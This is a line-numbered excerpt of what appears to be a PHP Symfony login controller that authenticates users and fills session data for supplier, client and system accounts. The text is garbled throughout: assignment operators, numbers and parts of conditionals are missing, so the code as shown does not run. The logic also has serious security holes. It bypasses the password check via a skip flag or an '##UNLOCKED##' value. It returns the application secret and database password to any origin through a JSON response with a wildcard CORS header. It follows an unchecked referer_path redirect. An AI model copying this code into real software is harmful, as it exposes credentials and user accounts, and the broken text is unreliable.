  2063.                                     $user $usersQueried[0];
  2064.                             }
  2065.                             if (!$user)
  2066.                                 $user $applicantRepo->findOneBy(['phone' => $email]);
  2067.                         }
  2068.                         $redirect_login_page_twig "@Authentication/pages/views/login_new.html.twig";
  2069. //                        if($systemType=='_BUDDYBEE_')
  2070. //                            $redirect_login_page_twig="@Authentication/pages/views/applicant_login.html.twig";
  2071.                         if (!$user) {
  2072.                             $message "We could not find your username or email";
  2073.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2074.                                 return new JsonResponse(array(
  2075.                                     'uid' => $session->get(UserConstants::USER_ID),
  2076.                                     'session' => $session,
  2077.                                     'success' => false,
  2078.                                     'errorStr' => $message,
  2079.                                     'session_data' => [],
  2080.                                 ));
  2081.                             }
  2082.                             if ($systemType == '_BUDDYBEE_')
  2083.                                 return $this->redirectToRoute("applicant_login", [
  2084.                                     "message" => $message,
  2085.                                     "errorField" => 'username',
  2086.                                 ]);
  2087.                             else if ($systemType == '_CENTRAL_')
  2088.                                 return $this->redirectToRoute("central_login", [
  2089.                                     "message" => $message,
  2090.                                     "errorField" => 'username',
  2091.                                 ]);
  2092.                             else if ($systemType == '_SOPHIA_')
  2093.                                 return $this->redirectToRoute("sophia_login", [
  2094.                                     "message" => $message,
  2095.                                     "errorField" => 'username',
  2096.                                 ]);
  2097.                             else
  2098.                                 return $this->render($redirect_login_page_twig, array(
  2099.                                     "message" => $message,
  2100.                                     'page_title' => "Login",
  2101.                                     'gocList' => $gocDataList,
  2102.                                     'gocId' => $gocId
  2103.                                 ));
  2104.                         }
  2105.                         if ($user) {
  2106.                             if ($oAuthData) {
  2107.                                 // user passed
  2108.                             } else {
  2109.                                 if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  2110.                                 } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  2111. //                                    if ($user->getPassword() == $request->request->get('password')) {
  2112. //                                        // user passed
  2113. //                                    } else {
  2114.                                     $message "Oops! Wrong Password";
  2115.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'0)) == 1) {
  2116.                                         return new JsonResponse(array(
  2117.                                             'uid' => $session->get(UserConstants::USER_ID),
  2118.                                             'session' => $session,
  2119.                                             'success' => false,
  2120.                                             'errorStr' => $message,
  2121.                                             'session_data' => [],
  2122.                                         ));
  2123.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2124.                                         //                    return $response;
  2125.                                     }
  2126.                                     if ($systemType == '_BUDDYBEE_')
  2127.                                         return $this->redirectToRoute("applicant_login", [
  2128.                                             "message" => $message,
  2129.                                             "errorField" => 'password',
  2130.                                         ]);
  2131.                                     else if ($systemType == '_CENTRAL_')
  2132.                                         return $this->redirectToRoute("central_login", [
  2133.                                             "message" => $message,
  2134.                                             "errorField" => 'username',
  2135.                                         ]);
  2136.                                     else if ($systemType == '_SOPHIA_')
  2137.                                         return $this->redirectToRoute("sophia_login", [
  2138.                                             "message" => $message,
  2139.                                             "errorField" => 'username',
  2140.                                         ]);
  2141.                                     else
  2142.                                         return $this->render($redirect_login_page_twig, array(
  2143.                                             "message" => $message,
  2144.                                             'page_title' => "Login",
  2145.                                             'gocList' => $gocDataList,
  2146.                                             'gocId' => $gocId
  2147.                                         ));
  2148.                                 }
  2149.                             }
  2150.                         }
  2151.                         $jd = [];
  2152.                         if ($jd != null && $jd != '' && $jd != [])
  2153.                             $company_id_list $jd;
  2154.                         else
  2155.                             $company_id_list = [];
  2156. //                        $companyList = Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2157. //                        foreach ($company_id_list as $c) {
  2158. //                            $company_name_list[$c] = $companyList[$c]['name'];
  2159. //                            $company_image_list[$c] = $companyList[$c]['image'];
  2160. //                        }
  2161.                     };
  2162.                 } else {
  2163.                     if ($cookieLogin == 1) {
  2164.                         $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2165.                             array(
  2166.                                 'userId' => $userId
  2167.                             )
  2168.                         );
  2169.                     } else if ($encrypedLogin == 1) {
  2170.                         if (in_array($userType, [34]))
  2171.                             $specialLogin 1;
  2172.                         if ($userType == UserConstants::USER_TYPE_CLIENT) {
  2173.                             $user null;
  2174.                             if ($clientId 0) {
  2175.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  2176.                                     array(
  2177.                                         'clientId' => $clientId
  2178.                                     )
  2179.                                 );
  2180.                             }
  2181.                             if (!$user) {
  2182.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  2183.                                     array(
  2184.                                         'globalUserId' => $globalId
  2185.                                     )
  2186.                                 );
  2187.                             }
  2188. //
  2189.                             if ($user)
  2190.                                 $userId $user->getClientId();
  2191.                             $clientId $userId;
  2192.                         } else if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  2193.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccSuppliers')->findOneBy(
  2194.                                 array(
  2195.                                     'globalUserId' => $globalId
  2196.                                 )
  2197.                             );
  2198. //
  2199.                             if ($user)
  2200.                                 $userId $user->getSupplierId();
  2201.                             $supplierId $userId;
  2202.                         } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  2203. //                            $user = $em_goc->getRepository('CompanyGroupBundle\\Entity\\SysUser')->findOneBy(
  2204. //                                array(
  2205. //                                    'globalId' => $globalId
  2206. //                                )
  2207. //                            );
  2208. //
  2209. //                            if($user)
  2210. //                                $userId=$user->getUserId();
  2211. //                            $applicantId = $userId;
  2212.                         } else if ($userType == UserConstants::USER_TYPE_GENERAL || $userType == UserConstants::USER_TYPE_SYSTEM) {
  2213.                             $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2214.                                 array(
  2215.                                     'globalId' => $globalId
  2216.                                 )
  2217.                             );
  2218.                             if ($user)
  2219.                                 $userId $user->getUserId();
  2220.                         }
  2221.                     } else {
  2222.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2223.                             array(
  2224.                                 'userName' => $request->request->get('username')
  2225.                             )
  2226.                         );
  2227.                     }
  2228.                     if (!$user) {
  2229.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2230.                             array(
  2231.                                 'email' => $request->request->get('username'),
  2232.                                 'userName' => [null'']
  2233.                             )
  2234.                         );
  2235.                         if (!$user) {
  2236.                             $message "Wrong User Name";
  2237.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2238.                                 return new JsonResponse(array(
  2239.                                     'uid' => $session->get(UserConstants::USER_ID),
  2240.                                     'session' => $session,
  2241.                                     'success' => false,
  2242.                                     'errorStr' => $message,
  2243.                                     'session_data' => [],
  2244.                                 ));
  2245.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2246.                                 //                    return $response;
  2247.                             }
  2248.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2249.                                 "message" => $message,
  2250.                                 'page_title' => "Login",
  2251.                                 'gocList' => $gocDataList,
  2252.                                 'gocId' => $gocId
  2253.                             ));
  2254.                         } else {
  2255.                             //add the email as username as failsafe
  2256.                             $user->setUserName($request->request->get('username'));
  2257.                             $em->flush();
  2258.                         }
  2259.                     }
  2260.                     if ($user) {
  2261.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  2262.                             $message "Sorry, Your Account is Deactivated";
  2263.                             if ($request->request->get('remoteVerify'$request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify))) == 1) {
  2264.                                 return new JsonResponse(array(
  2265.                                     'uid' => $session->get(UserConstants::USER_ID),
  2266.                                     'session' => $session,
  2267.                                     'success' => false,
  2268.                                     'errorStr' => $message,
  2269.                                     'session_data' => [],
  2270.                                 ));
  2271.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2272.                                 //                    return $response;
  2273.                             }
  2274.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2275.                                 "message" => $message,
  2276.                                 'page_title' => "Login",
  2277.                                 'gocList' => $gocDataList,
  2278.                                 'gocId' => $gocId
  2279.                             ));
  2280.                         }
  2281.                     }
  2282.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  2283.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  2284.                         $message "Wrong Email/Password";
  2285.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2286.                             return new JsonResponse(array(
  2287.                                 'uid' => $session->get(UserConstants::USER_ID),
  2288.                                 'session' => $session,
  2289.                                 'success' => false,
  2290.                                 'errorStr' => $message,
  2291.                                 'session_data' => [],
  2292.                             ));
  2293.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2294.                             //                    return $response;
  2295.                         }
  2296.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2297.                             "message" => $message,
  2298.                             'page_title' => "Login",
  2299.                             'gocList' => $gocDataList,
  2300.                             'gocId' => $gocId
  2301.                         ));
  2302.                     }
  2303.                     $userType $user->getUserType();
  2304.                     $jd json_decode($user->getUserCompanyIdList(), true);
  2305.                     if ($jd != null && $jd != '' && $jd != [])
  2306.                         $company_id_list $jd;
  2307.                     else
  2308.                         $company_id_list = [$user->getUserCompanyId()];
  2309.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2310.                     foreach ($company_id_list as $c) {
  2311.                         if (isset($companyList[$c])) {
  2312.                             $company_name_list[$c] = $companyList[$c]['name'];
  2313.                             $company_image_list[$c] = $companyList[$c]['image'];
  2314.                             $company_dark_vibrant_list[$c] = $companyList[$c]['dark_vibrant'];
  2315.                             $company_light_vibrant_list[$c] = $companyList[$c]['light_vibrant'];
  2316.                             $company_vibrant_list[$c] = $companyList[$c]['vibrant'];
  2317.                         }
  2318.                     }
  2319.                 }
  2320. //                $data["email"] = $request->request->get('username') ? $request->request->get('username') : $oAuthData['email'];
  2321.                 if ($remember_me == 1)
  2322.                     $session->set('REMEMBERME'1);
  2323.                 else
  2324.                     $session->set('REMEMBERME'0);
  2325.                 $config = array(
  2326.                     'firstLogin' => $firstLogin,
  2327.                     'rememberMe' => $remember_me,
  2328.                     'notificationEnabled' => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2329.                     'notificationServer' => $this->getParameter('notification_server') == '' GeneralConstant::NOTIFICATION_SERVER $this->getParameter('notification_server'),
  2330.                     'applicationSecret' => $this->container->getParameter('secret'),
  2331.                     'gocId' => $gocId,
  2332.                     'appId' => $appIdFromUserName,
  2333.                     'gocDbName' => $gocDbName,
  2334.                     'gocDbUser' => $gocDbUser,
  2335.                     'gocDbHost' => $gocDbHost,
  2336.                     'gocDbPass' => $gocDbPass
  2337.                 );
  2338.                 $product_name_display_type 0;
  2339.                 if ($systemType != '_CENTRAL_') {
  2340.                     $product_name_display_settings $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSettings')->findOneBy(array(
  2341.                         'name' => 'product_name_display_method'
  2342.                     ));
  2343.                     if ($product_name_display_settings)
  2344.                         $product_name_display_type $product_name_display_settings->getData();
  2345.                 }
  2346.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  2347.                     $userCompanyId 1;
  2348.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2349.                     if (isset($companyList[$userCompanyId])) {
  2350.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2351.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2352.                         $company_locale $companyList[$userCompanyId]['locale'];
  2353.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2354.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2355.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2356.                     }
  2357.                     // General User
  2358.                     $session->set(UserConstants::USER_ID$user->getSupplierId());
  2359.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2360.                     $session->set(UserConstants::SUPPLIER_ID$user->getSupplierId());
  2361.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_SUPPLIER);
  2362.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2363.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2364.                     $session->set(UserConstants::USER_NAME$user->getSupplierName());
  2365.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  2366.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  2367.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2368.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2369.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2370.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2371.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2372.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2373.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2374.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  2375.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  2376.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  2377.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2378.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2379.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2380.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2381.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2382.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2383.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2384.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2385.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2386.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2387.                     //                $PL=json_decode($user->getPositionIds(), true);
  2388.                     $route_list_array = [];
  2389.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  2390.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  2391.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2392.                     $loginID 0;
  2393.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2394.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2395.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2396.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2397.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2398.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2399.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2400.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2401.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2402.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2403.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  2404.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2405.                         $session->set('remoteVerified'1);
  2406.                         $session_data = array(
  2407.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  2408.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2409.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2410.                             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  2411.                             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  2412.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  2413.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  2414.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  2415.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  2416.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  2417.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  2418.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  2419.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  2420.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  2421.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  2422.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2423.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2424.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2425.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  2426.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  2427.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  2428.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  2429.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  2430.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  2431.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  2432.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  2433.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  2434.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  2435.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  2436.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  2437.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2438.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2439.                         );
  2440.                         $session_data $this->filterClientSessionData($session_data);
  2441.                         $response = new JsonResponse(array(
  2442.                             'uid' => $session->get(UserConstants::USER_ID),
  2443.                             'session' => $session,
  2444.                             'success' => true,
  2445.                             'session_data' => $session_data,
  2446.                         ));
  2447.                         $response->headers->set('Access-Control-Allow-Origin''*');
  2448.                         return $response;
  2449.                     }
  2450.                     if ($request->request->has('referer_path')) {
  2451.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  2452.                             return $this->redirect($request->request->get('referer_path'));
  2453.                         }
  2454.                     }
  2455.                     //                    if($request->request->has('gocId')
  2456.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  2457.                     return $this->redirectToRoute("supplier_dashboard");
  2458.                     //                    else
  2459.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  2460.                 } else if ($userType == UserConstants::USER_TYPE_CLIENT) {
  2461.                     // General User
  2462.                     $userCompanyId 1;
  2463.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2464.                     if (isset($companyList[$userCompanyId])) {
  2465.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2466.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2467.                         $company_locale $companyList[$userCompanyId]['locale'];
  2468.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2469.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2470.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2471.                     }
  2472.                     $session->set(UserConstants::USER_ID$user->getClientId());
  2473.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2474.                     $session->set(UserConstants::CLIENT_ID$user->getClientId());
  2475.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_CLIENT);
  2476.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2477.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2478.                     $session->set(UserConstants::USER_NAME$user->getClientName());
  2479.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  2480.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  2481.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2482.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2483.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2484.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2485.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2486.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2487.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  2488.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  2489.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  2490.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2491.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2492.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2493.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2494.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2495.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2496.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2497.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2498.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2499.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2500.                     //                $PL=json_decode($user->getPositionIds(), true);
  2501.                     $route_list_array = [];
  2502.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  2503.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  2504.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2505.                     $loginID 0;
  2506.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2507.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2508.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2509.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2510.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2511.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2512.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2513.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2514.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2515.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2516.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  2517.                     $session_data = array(
  2518.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  2519.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2520.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2521.                         UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  2522.                         UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  2523.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  2524.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  2525.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  2526.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  2527.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  2528.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  2529.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  2530.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  2531.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  2532.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  2533.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  2534.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  2535.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  2536.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  2537.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  2538.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2539.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2540.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2541.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  2542.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  2543.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  2544.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  2545.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  2546.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  2547.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  2548.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2549.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2550.                     );
  2551.                     $session_data $this->filterClientSessionData($session_data);
  2552.                     $session_data $this->filterClientSessionData($session_data);
  2553.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  2554.                     $session_data $tokenData['sessionData'];
  2555.                     $token $tokenData['token'];
  2556.                     $session->set('token'$token);
  2557.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2558.                         $session->set('remoteVerified'1);
  2559.                         $response = new JsonResponse(array(
  2560.                             'uid' => $session->get(UserConstants::USER_ID),
  2561.                             'session' => $session,
  2562.                             'token' => $token,
  2563.                             'success' => true,
  2564.                             'session_data' => $session_data,
  2565.                         ));
  2566.                         $response->headers->set('Access-Control-Allow-Origin''*');
  2567.                         return $response;
  2568.                     }
  2569.                     if ($request->request->has('referer_path')) {
  2570.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  2571.                             return $this->redirect($request->request->get('referer_path'));
  2572.                         }
  2573.                     }
  2574.                     //                    if($request->request->has('gocId')
  2575.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  2576.                     return $this->redirectToRoute("client_dashboard"); //will be client
  2577.                     //                    else
  2578.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  2579.                 } else if ($userType == UserConstants::USER_TYPE_SYSTEM) {
  2580.                     // System administrator
  2581.                     // System administrator have successfully logged in. Lets add a login ID.
  2582.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2583.                         ->findOneBy(
  2584.                             array(
  2585.                                 'userId' => $user->getUserId()
  2586.                             )
  2587.                         );
  2588.                     if ($employeeObj) {
  2589.                         $employeeId $employeeObj->getEmployeeId();
  2590.                         $epositionId $employeeObj->getPositionId();
  2591.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2592.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2593.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2594.                     }
  2595.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  2596.                         ->findOneBy(
  2597.                             array(
  2598.                                 'userId' => $user->getUserId(),
  2599.                                 'workingStatus' => 1
  2600.                             )
  2601.                         );
  2602.                     if ($currentTask) {
